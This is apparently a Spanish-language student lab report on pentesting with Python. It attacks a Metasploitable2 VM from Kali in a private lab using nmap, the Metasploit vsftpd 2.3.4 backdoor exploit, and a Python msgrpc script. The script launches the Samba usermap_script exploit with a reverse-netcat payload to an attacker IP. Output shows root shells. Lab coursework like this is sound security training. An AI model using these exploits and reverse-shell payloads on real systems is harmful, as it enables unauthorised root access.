



Módulo 2: Finger printing and grabbing.

Mauro Céspedes Araya

Hacking y Pentesting con Python

En primer lugar, se levantan dos máquinas virtuales: una con **Kali** y otra con **Metasploit**. Se podrán ver ambas máquinas a través de una conexión **Bridge**. Para comprobar que existe comunicación se realiza un simple ping. Para realizar el ping, se debe antes obtener la dirección IP por medio del comando **ifconfig** (ipconfig en windows).

Esta la ip de mi máquina objetivo (metasploit):

```
root@metasploitable:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:3f:5b:1e
          inet addr:192.168.1.150  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe3f:5b1e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5022 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3480 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:400810 (391.4 KB)  TX bytes:268877 (262.5 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:644 errors:0 dropped:0 overruns:0 frame:0
          TX packets:644 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:289733 (282.9 KB)  TX bytes:289733 (282.9 KB)

root@metasploitable:~# _
```

Ahora se continúa trabajando con Metasploit desde la máquina **Kali**. Metasploit es un marco de trabajo de código abierto basado en RUBY. Se utiliza para validar las vulnerabilidades de un sistema.

Aquí es importante diferenciar entre **explotación** y **payload**. El payload es lo que se ejecuta en la máquina objetivo al explotar las vulnerabilidades. Es decir, las instrucciones que se desean una vez dentro del sistema.

Ahora se escanean los puertos con **NMAP** para saber las diferentes vulnerabilidades que se pueden explotar. De esta manera se tiene una idea de cuáles se pueden incluir dentro del script de Python más adelante.

nmap -sV -Pn 192.168.1.150

```
FreeBSD 8.0/7.3/7.2 1386, ProFTPD 1.3.2a/e/c Server (binary)
Debian GNU/Linux 5.0, ProFTPD 1.3.2a Server (Plesk binary)
220 (vsftpd 2.3.4)
Mandrake Linux 7.1 (apache-1.3.14-2)
Samba smbd 3.X (workgroup:WORKGROUP)
Cyrus pop3d 2.3.7-Invoice-RPM-2.3.7-7.el5_6.4
MiniServ 0.01 (weadmin httpd)
OpenSSH 4.7p1 Debian 5ubuntu1 (protocol 2.0)
Linux telnetd
Postfix smtpd
ISC BIND 9.4.2
Apache httpd 2.2.8 ((Ubuntu) DAV/2)
Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
netbios-smb Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
exec?
OpenBSD or Solaris rlogind
tcpwrapped
GNU Classpath 0.9.1
Metasploitable root shell
2-4 (RPC #100003)
ProFTPD 1.3.1
MySQL 5.0.51a-3ubuntu5
PostgreSQL DB 8.3.0 - 8.3.7
VNC (protocol 3.3)
(access denied)
UnrealIRCd
Apache Jserv (Protocol v1.3)
Apache Tomcat/Coyote JSP engine 1.1
```

[illegible]

Quando se quiere explotar una vulnerabilidad se necesita la ruta para ejecutarla dentro del sistema objetivo. Es decir, la ruta exacta en donde se encuentra la vulnerabilidad. Se puede hacer una búsqueda en Metasploit para averiguar esta información y sacar que se necesita para ejecutarla.

En este caso se utilizaron los ejemplos expuestos en clase por su sencillez, ya que solo es requerido el RHOST y el puerto. Las vulnerabilidades que se explotan son **SAMBA** y **vsftpd_234_backdoor**.

```
File Actions Edit View Help
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank   Check  Description
--  -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.1.150    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

Name      Current Setting  Required  Description
--      -

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -h command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.150
RHOSTS => 192.168.1.150
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.150:21 - Banner: 220 (vsftpd 2.3.4)
[*] 192.168.1.150:21 - USER: 331 Please specify the password.
[*] 192.168.1.150:21 - Backdoor service has been spawned, handling ...
[*] 192.168.1.150:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.30:37515 -> 192.168.1.150:6200) at 2023-02-24 15:23:57 -0500

whoami
root
```

Una vez identificada la ruta en la máquina virtual de **Metasploitable2** se procede a incluirla en el script de Python.

```
# Es lo mismo que se hace en consola
# creamos variable para cliente para utilizar los modulos.
# USE ----- use exploit/linux/samba/
# Utiliza un modulo de tipo exploit y damos la direccion donde esta
exploit = client.modules.use('exploit','exploit/multi/samba/usermap_script')

# lo mismo hacemos con Options
exploit.options

# EL objeto exploit dentro de la clave del diccionario RHOSTS y la direccion objetivo
exploit['RHOSTS']= ipAddress

# Ahora solo cargamos el payload
pl = client.modules.use('payload', 'cmd/unix/reverse_netcat')

# Esto es lo que me sale cuando ejecuto OPTION en la consola de metasploit, y lo tengo que agregar aqui para
pl['LHOST'] = '192.168.1.30'
pl['LPORT'] = '4444'

# Con metasploit se nos generan multiples consolas
```

El script funciona con un método que sirve para establecer la conexión con el servicio de Metasploit. Como parámetros recibe el **puerto** donde se levanta el servicio y la **contraseña**. Con esta información el método regresa un **cliente**.

Se recibe la información que se ingresa por pantalla para ejecutar el **cliente** recién creado. Pueden pasar muchas cosas, entonces todo se ejecutará dentro de un bucle **if**. En caso de que si exista un cliente activo se declara un objeto de tipo **exploit**. Todo este procedimiento es lo mismo que hacerlo directo desde la consola de Metasploit.

Se crea una variable para el cliente y que pueda utilizar los módulos. Con el método “**use**” se indica la ruta en donde está la vulnerabilidad. Ahora se utiliza “**options**” para indicarle el objeto **exploit** dentro de la clave del diccionario RHOSTS y la dirección objetivo.

Ya con esta información se puede indicar el “**payload**” que se desea cargar a la maquina explotada. En este caso, solo se hará un payload “dummy” a manera de prueba. Se agrega también la información sobre IP y puerto que sale al ejecutar **option** en la consola de Metasploit. Esta información es necesaria para poder realizar la conexión.

Finalmente, dentro del script se imprime en pantalla la información sobre las sesiones activas. Es igual que en consola, cuando se lanza el ataque se tiene una sesión activa y el resultado de la ejecución del **shell** en la maquina objetivo. El siguiente es el resultado de explotar la vulnerabilidad **Samba**.

```

kali@kali:~/Downloads/SCRIPTS/Modulo 3$ python metasploit.py
Introduce la IP de Metasploitable 2: 192.168.1.150
Password del servicio: 03P5A2nd
Introduce el puerto donde se ejecuta el servicio: 55552
{'l': {'type': 'shell', 'tunnel_local': '192.168.1.30:4444', 'tunnel_peer': '192.168.1.150:42830', 'via_exploit': 'exploit/multi/samba/usermap_script', 'via_payload': 'payload/cmd/unix/reverse_netcat', 'desc': 'Command shell', 'info': '', 'workspace': 'false', 'session_host': '192.168.1.150', 'session_port': 139, 'target_host': '192.168.1.150', 'username': 'root', 'uid': 'ivob7kxx', 'exploit_uid': 'iv5afaz', 'routes': '', 'arch': 'cmd', '2': {'type': 'shell', 'tunnel_local': '192.168.1.30:4444', 'tunnel_peer': '192.168.1.150:54478', 'via_exploit': 'exploit/multi/samba/usermap_script', 'via_payload': 'payload/cmd/unix/reverse_netcat', 'desc': 'Command shell', 'info': '', 'workspace': 'false', 'session_host': '192.168.1.150', 'session_port': 139, 'target_host': '192.168.1.150', 'username': 'root', 'uid': 'sjltz78h', 'exploit_uid': '3aso2lal', 'routes': '', 'arch': ''}}

root

root

kali@kali:~/Downloads/SCRIPTS/Modulo 3$

```

```
(root@kali)-[/home/kali/Downloads/SCRIPTS MODULO 3]
# msfconsole

#####
; ; "
.,.; d d; .,.,.
" ddd'..' dd dddd','.. dddd "
'-.dddddddddddddd d ddddddddddddddd d;
'.dddddddddddddd ddddddddddddddd d;
"--'.ddd -.d d '-.'--"
".d'; d d '; '
|ddd ddd d
' ddd ddd d ,
'. ddd ddd .
( 3 C ) /|_ / Metasploit! \
;d'._*_. " \_| \
'(....."/

=[ metasploit v6.2.26-dev ]
+ -- ==[ 2264 exploits - 1189 auxiliary - 404 post ]
+ -- ==[ 951 payloads - 45 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit tip: Search can apply complex filters such as
search cve:2009 type:exploit, see all the filters
with help search
Metasploit Documentation: https://docs.metasploit.com/

msf6 > load msgrpc Pass-password
[*] MSGRPC Service: 127.0.0.1:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: dquCQrcz
[*] Successfully loaded plugin: msgrpc
msf6 >
```

```
PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL
kali@kali: ~/Downloads/SCRIPTS MODULO 3
❌ python metasploit1.py
python: can't open file '/home/kali/Downloads/SCRIPTS MODULO 3/metasploit1.py': [Errno 2] No such file or directory
kali@kali: ~/Downloads/SCRIPTS MODULO 3
❌ python metasploit1.py
Introduce la IP de Metasploitable 2: 192.168.1.150
Password del servicio: ddcc0cz
Introduce el puerto donde se ejecuta el servicio: 55552
[!]: {'type': 'shell', 'tunnel_local': '192.168.1.38:45721', 'tunnel_peer': '192.168.1.150:6200', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor', 'via_payload': 'payload/cmd/unix/interact',
'desc': 'Command shell', 'info': {'workspace': 'false', 'session_host': '192.168.1.150', 'session_port': 21, 'target_host': '192.168.1.150', 'username': 'root', 'uid': 'h1lq@1z', 'exploit_uid': 'ags@6grf', 'routes': '', 'arch': 'cmd'}}
root
root
root
kali@kali: ~/Downloads/SCRIPTS MODULO 3
```

Adjunto a la terea está el código del script de Python con la descripción del funcionamiento de cada línea de código.